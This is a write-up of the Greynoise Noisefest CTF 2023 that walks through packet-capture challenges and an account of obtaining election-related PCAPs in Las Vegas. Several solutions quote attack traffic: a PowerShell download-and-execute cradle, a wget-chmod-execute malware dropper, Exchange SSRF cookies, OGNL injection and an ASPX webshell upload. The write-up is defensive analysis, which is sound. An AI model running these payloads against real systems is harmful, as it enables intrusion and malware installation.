Noisefest CTF 2023

This year I decided to try out the Noisefest CTF from Greynoise prior to heading over to hacker summer camp in Vegas.

I kicked off the CTF before I left for Defcon 31. As I progressed through the challenges, more opened. Below are some basic writeups of each and some screenshots of the entire set of challenges.

Figure 1. All the challenges for the CTF

Starting at the top of the list, let’s look at how to solve boot option one.

Figure 2. boot option one

For boot option one, do a general internet search to find the Greynoise blog, then search the page for the word threat, which is displayed six (6) times. Note: The word threats is also in the blog six (6) times, but the challenge asks for the singular form, so the answer is 6.

Figure 3. 2022

For 2022, I found the Greynoise vulnerability report PDF online using the following search query in Google: filetype:pdf greynoise-2022-mass-exploitation-report. I downloaded the report from here: https://4282754.fs1.hubspotusercontent-na1.net/hubfs/4282754/GreyNoise_2022-Mass-Exploitation-Report.pdf

Next, let’s review the PCAP.

Figure 4. ognl_1.pcap GET request

The GET request needs to be URL decoded.

Figure 5. ognl_1.pcap URL Decoded

The attack is trying to execute the id command and retrieve the output in an HTTP header called X-Cmd-Response. If this worked, the attacker could execute arbitrary commands on the server. So, this would be considered remote code execution (RCE). From here, you can search for RCE that executes by setting x-cmd-response header, which brings up the Atlassian Confluence OGNL (hint in the title too) Injection Remote Code Execution.

If you search the report, you will find the answer. The answer is: CVE-2022–26134

Figure 5. owa

Let’s look at the PCAP. When I opened it, the first thing I was curious about was about the Cookie because I was unfamiliar with it.

Figure 6. owa Cookie

If you search for just a part of the cookie, X-BEResource=localhost/owa/auth/logon.aspx?~3, search results show a write up on a Microsoft Exchange attack. On GitHub is a POC that names the CVE it exploits.

Here’s an interesting writeup of the issue: https://securityscorecard.com/blog/microsoft-exchange-attack-surface-was-smaller-and-more-targeted-than-previously-thought/

The POC script does a check to see if the Exchange server is vulnerable by sending a request with the following headers:

• Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;.

The answer: CVE-2021–26855

CVE-2021–26855 is a Microsoft Exchange Server Remote Code Execution Vulnerability from https://nvd.nist.gov/vuln/detail/CVE-2021-26855

Figure 7. powershell

Similar to the other PCAPs, this also has one packet. And, like the others, it is a GET request with a URL that you need to decode.

Figure 8. powershell GET request

Once you decode the request, there is still a part of the powershell command that looks encoded.

Figure 9. powershell URL decoded with base64 encoded command

Just base64 decode the command for the following: IEX (New-Object Net.WebClient).DownloadString(‘http://webhamster.com')

The answer is http://webhamster.com

Figure 9. do you speak pcap

When you open the soundbox file there are four (4) packets. They are all GET requests. The 3rd packet is for spotifyconnect?action=getInfo.

Spotify Connect lets you tune in from a variety of devices. So, this looks like someone who is using Spotify.

The answer is: spotify

Figure 10. big sip

When you open the PCAP in Wireshark, you can easily see the User-Agent.

Figure 11. big sip User-Agent

The answer: nvdowo

Figure 12. common pfsense

Open the PCAP, expand the Hypertext Transfer Protocol, and look at the host header for the packet.

Figure 13. common pfsense Host header

The answer is greynoise.io

Figure 14. gitislegit

Open the PCAP, open the dropdown arrow for Hypertext Transfer Protocol. The User-Agent shows what device is used to crawl for Git repos. The answer is LG Smart Fridge.

Figure 15. gitislegit UA

Figure 16. moooooodbus

When you open the PCAP, the protocol is modbus. and you can see the function index displayed in the info. The src: 80.82.77.139:60788 and dst:103.114.101.121:502

Figure 17. moooooodbus Function Index

To count how many letter o’s are in the source IP, I need to find the hostname. I did an internet search on the source IP, and it came up as dojo.census.shodan.io. The hostname for the address: 80.82.77.139 is dojo.census.shodan.io.

Figure 17. Hostname for Source IP

Multiply 4 x 17 to get 68 for the answer.

Figure 18. antiwork

This capture has 32 packets, so where to start? I chose packet #28 because when I looked at length it was the largest at 1170. When I opened the packet it has some strange ASCII in it.

Figure 19. antiwork

After copying out the packet and scaling it, it looks like a QR code. Point your phone camera at it and get the flag.

Figure 20. antiwork QR Code

The answer: not infected ;)

Figure 21. fortinet

This one was super hard. So, if you unlock a hint, you can get more info, but points are deducted. Let’s look at the PCAP.

Figure 22. fortinet GET request

Looking at the GET request for this API, it looks like someone is using a REST API to access a backup saved to a file in the format fos, so it’s referencing FortiOS, with a global scope. It also shows two interesting items: the User-Agent and Forwarded headers.

If you search for fortios exploit using user-agent and forwarded header, the first CVE is for CVE-2022–40684. Fortinet authentication bypass. Then, read the exploit to learn more about what happened. Search for the RFCs that are for User-Agents and Forwarded headers.

The answer can be found by adding the following two RFCs: 7239 + 7231 = 14470.

Figure 23. sigabrt

Open the PCAP to reveal one GET request that has a target parameter with the letter A repeated.

Figure 24. sigabrt capture

An internet search on /gwtest/formssso?event=start&target=A brought me to a writeup about CVE-2023–3519. The author of the article stated that they were analyzing the exploit and described sending a GET request with 0x100 A’s, which looks a lot like what we see in the Figure 24 capture above .Read about the exploit for Citrix Unauthenticated Remote Code Execution: https://bishopfox.com/blog/analysis-exploitation-cve-2023-3519

The answer: CVE-2023–3519

Figure 25. aspx

When I first looked at the POST request, I thought that it was an interesting directory traversal attempt (../../../), but as I read through the POST request it shows in the body of the request a lot of ASP.NET code, which is meant to execute when the page loads. It runs the command via cmd.exe with the argument /c whoami, which will return the current user’s identity on the server. If the upload is successful, the attacker could then naviage to x.aspx page on the server and then execute other arbitrary commands, which would also suggest that this would be a successful Remote Code Execution (RCE).

Figure 26. aspx POST request

The parameters in the body of the POST psi.FileName and psi.Arguments, give you the answer: cmd.exe /c whoami.

Figure 27. fullsignature

This challenge took me longer than I like to admit to solve. I had a hard time figuring out how to read the question to get to the answer. Now that I know the answer, I understand what I was trying to solve for.

When you open the PCAP there’s only one packet and the one part that stood out to me was the string “LIOR.” I found I found a reference to it, where 0x524F494C is always used as the BaseHeader.Signature for MSMQ. Those hex bytes correspond to the “LIOR” string that appears in every packet.

Figure 28. fullsignature showing LIOR

The issue that was referenced in the challenge was the Microsoft Message Queuing MSMQ QueueJumper Remote Code Execution (RCE).

The challenge was to discover the full name of the person who invented the MSMQ protocol. I found it on a patent when I did an internet search. Here’s the patent: https://patents.google.com/patent/US6678726

The answer was Lior Moshaiov, who was the Microsoft developer of the MSMQ.

Figure 29. oh-gnl

Open the PCAP, copy the GET request, URL decode or just look closely at the URL encoded portion that shows where the header is set. The key is populated in the Header.

Figure 30. GET request from oh-gnl that shows setHeader information

The answer: X-Cmd-Response

Figure 31. soapy

This is one POST request that shows the following:

1. cd to the /var directory
2. rm -rf big — delete any file named big in the var directory
3. wget http://1.1.1.1/mips -O big — download the file, save it as big
4. chmod 777 big — changes the permissions to make it readable, writable, executable by everyone
5. ./big realtek.rep — execute the dropped binary big with the argument realtek.rep

Figure 32. soapy PCAP file showing the answer realtek.rep

The answer is realtek.rep

Figure 33. wrapper

This one took me longer than it should have. However, it’s an easy solve once you know what to do in Wireshark.

When you open the PCAP there is one cookie in the decrypted text. This is all you get from the PCAP: …&!……Cookie: mstshash=……..

When you search on Cookie: mstshash, it’s Microsoft Remote Desktop Protocol (RDP). Typically RDP is on port 3389, but in the PCAP, it’s dst port: 12345. To get the answer we need to decode the packet as RDP.

Do this by right clicking on the packet, select Decode As, pick TPKT Heuristic (for RDP). Click OK. When the PCAP is reanalyzed, there will be a block that says ISO 8073 / X.224. Open it up and look for the line that says Source Reference.

Note: In Wireshark, you need to pick TPKT — there’s no RDP in the drop down menu.

Figure 34. Wireshark pick Decode As…

Figure 35. Wireshark Decode As… dialog box, click Default, pick TPKT

Figure 36. Decoded packet shows ISO 8073/X.224 Source Reference

Once the packet is decoded as RDP, you can find the answer, which is 0xfeca.

Figure 37. xeet

This challenge gave you a 25 point free flag. I did tweet it just for fun. The answer is xeeter.

Figure 38. cry

This challenge was aptly named. It tells you that you will be looking at a Cross-Site Scripting (XSS) issue. The question is, how do you exploit it to get a flag?

I started by copying the URL from the GET request in the PCAP.

Figure 39. cry GET request

I went to Cyberchef to URL decode and save a wasm file. Note: I used URL decode and then added Detect file type, which indicated the file was a wasm. Once I had the correct file type, I disabled that part of the “recipe” in cyberchef so that I could download the file and save it.

Figure 40. cry after URL decoding

Once I saved the file to my localhost, I had to create an HTML file that used the JavaScript code that was included in the URL. I named the file index.html, and saved it to the same directory that I saved my wasm file.

Next, I kicked off a webserver on port 8000 and loaded the HTML page. I did this on my Kali VM. I had one issue when I first loaded the page in Firefox on my VM, where it didn’t correctly display the debugger. I opened it in Burp and replayed it in the Chrome sandbox browser, which is where I could see the flag.

Figure 41. my index.html page

Figure 41 shows the HTML page I wrote that uses the my1.wasm file. I have never written an exploit using WebAssembly, so this took some time. Though, we were lucky that the JavaScript code was already available for us to use.

Figure 42. SimpleHTTPServer on port 8000

Figure 42 shows my SimpleHTTPServer running on port 8000 on my Kali VM.

Figure 43. The flag for cry

Figure 43 shows the flag. I had to open the debugger, which meant showing the Developer tools in the browser. At first, I lost points to the fact that I pasted the XSS popup box message in the challenge. I was so frustrated at this point that I was ready for the win.

Part of the issue was that when I copied the packet over to cyberchef, I made an error. I originally pasted the packet into Notepad++ on my Windows host, and when I copied it from Notepad++ into cyberchef, it failed to export the correct wasm file format. Lesson learned! Just a simple copy and paste from the Wirshark packet and I was able to download the wasm in the correct format.

Figure 44. we have a very serious request

This challenge seemed unwinnable. I was able to get the flag, but this one took me days to solve and quite an adventure.

I knew from various reports that there was a challenge that Lindell put together to provide proof of election fraud for the 2020 election. Lindell hosted a cybersecurity summit and provided files for experts to examine.

As far as I knew, there were no PCAP files to examine. That this claim was debunked by someone who attended his summit and obtained the files.

I reached out to the Greynoise Labs because there would be no PCAPs to obtain. What I provided them via email were two (2) links to torrents of the election machines that were posted online. I told Greynoise Labs that I didn’t want to download those torrents, but that this was the best I could do as there were no PCAP files. However, this did not suffice, and did not get me the flag.

I did further research online and thought that the only way I would be able to move forward on the challenge would be to reach out to the security expert who debunked the claim there were PCAP files.

I found a website for Robert Zeidman in the hopes of contacting him. The reason I reached out was because he was mentioned in various articles explaining that there was no PCAP file showing proof of election fraud. Here’s one article: https://www.nytimes.com/2023/04/20/us/politics/mike-lindell-arbitration-case-5-million.html

I emailed Bob on a whim and explained what I was doing as part of the CTF and why I was reaching out. To my shock, this long shot effort paid off. Bob contacted me via email asking for more information.

At this point, I had traveled to Vegas to go to Defcon 31. I was staying at the Flamingo, and wasn’t sure how this would turn out. I asked Bob’s perspective on the PCAP files. I told him that had found file names that ended in .PCAP from a PDF that looked like a list of exhibits in the litigation against Lindell, and inquired as to whether those were legit PCAPs, and if they were, if they were a part of the challenge.

In a phone conversation, Bob told me how he obtained three (3) sets of files from Lindell at the summit. How out of those files, one set had 500 items in it and some of those items contained PCAPs. Bob said that more would come out in a book he was writing (publishing on Amazon) about the summit and his examination of the files provided by Lindell.

Bob went on to tell me that when he worked on the challenge, the files that were part of the challenge were not PCAPs at all, which is how he won in the arbitration the $5 million as part of the summit. Bob said that the files were binary files and documents that were created using some kind of proprietary software and included items like spreadsheets. However, none of those were PCAPs and the files didn’t show anything fraudulent occurring at the election.

Bob also said that the PCAP files that were part of the third set provided by Lindell were not part of the challenge because Lindell said he never meant to give them out at all. That it was a mistake for anyone to have them and Lindell apparently claimed the only ones who could have those were the NSA. Apparently, approximately 50 people received those files, and Bob said that the statement from Lindell was ridiculous since none of them were with the NSA and none of them had clearances and they had the files. It was only during arbitration, that the information came out that Bob was not allowed to use the third set as part of the challenge.

At one point, Bob mentioned Tina Peters in our conversation because the file have names that indicate they were from Mesa County (Colorado), Clark County (Nevada), and Lake County (Ohio), and he mentioned that some others were still looking at the third set of files for evidence of fraud. However, Bob stated he had not taken time to analyze those files.

Here are some links: https://www.cleveland.com/open/2021/11/election-conspiracy-theorists-focus-on-attempted-computer-breach-in-lake-county.html

and https://www.nytimes.com/2022/06/26/us/politics/tina-peters-election-conspiracy-theories.html

I asked if Bob could provide copies of the PCAPs. He said that he would, but they were large files, so we had to meet in person.

I agreed to meet. Our first meeting was set at Harrah’s Starbucks at 9 AM. However, Vegas traffic has been awful due to the roads getting torn up in anticipation of Formula One Grad Prix. He called me while I was waiting at Harrah’s and said that he needed me to go to the Venetian due to the issues with traffic and parking. In addition, he was participating in a poker tournament, and didn’t have a lot of time. I agreed and walked over to meet him in the lobby at the fountain in the Venetian.

We went from there over to the coffee shop to sit and talk. Our conversation went for two (2) hours. He gave me a thumb drive and we spoke about cybersecurity, and other topics. I was thankful for his time and told him I would let him know more about the challenge when I learned more.

After he left, I sat at a table in the shop and opened the thumb drive. It contained several files that had the .PCAPNG extension. I was able to open them in Wireshark. It was at this point that I contacted Greynoise Labs and told them that I had the files. I arranged a meeting place at the Flamingo and handed off the thumb drive to them.

Figure 45. Files provided to Greynoise Labs for the win

I had to wait for Greynoise Labs to validate the files, when they did I received the flag. The answer was: pQNduGgqtfABCGzWLW72dhsP.

Overall, it took a lot of effort to complete the challenge. It will be interesting to see what happens next! Below screenshots of the scoreboard.

Figure 46. Top challengers in Noisefest CTF 2023

Figure 45. t3mp3st winning with the PCAP submission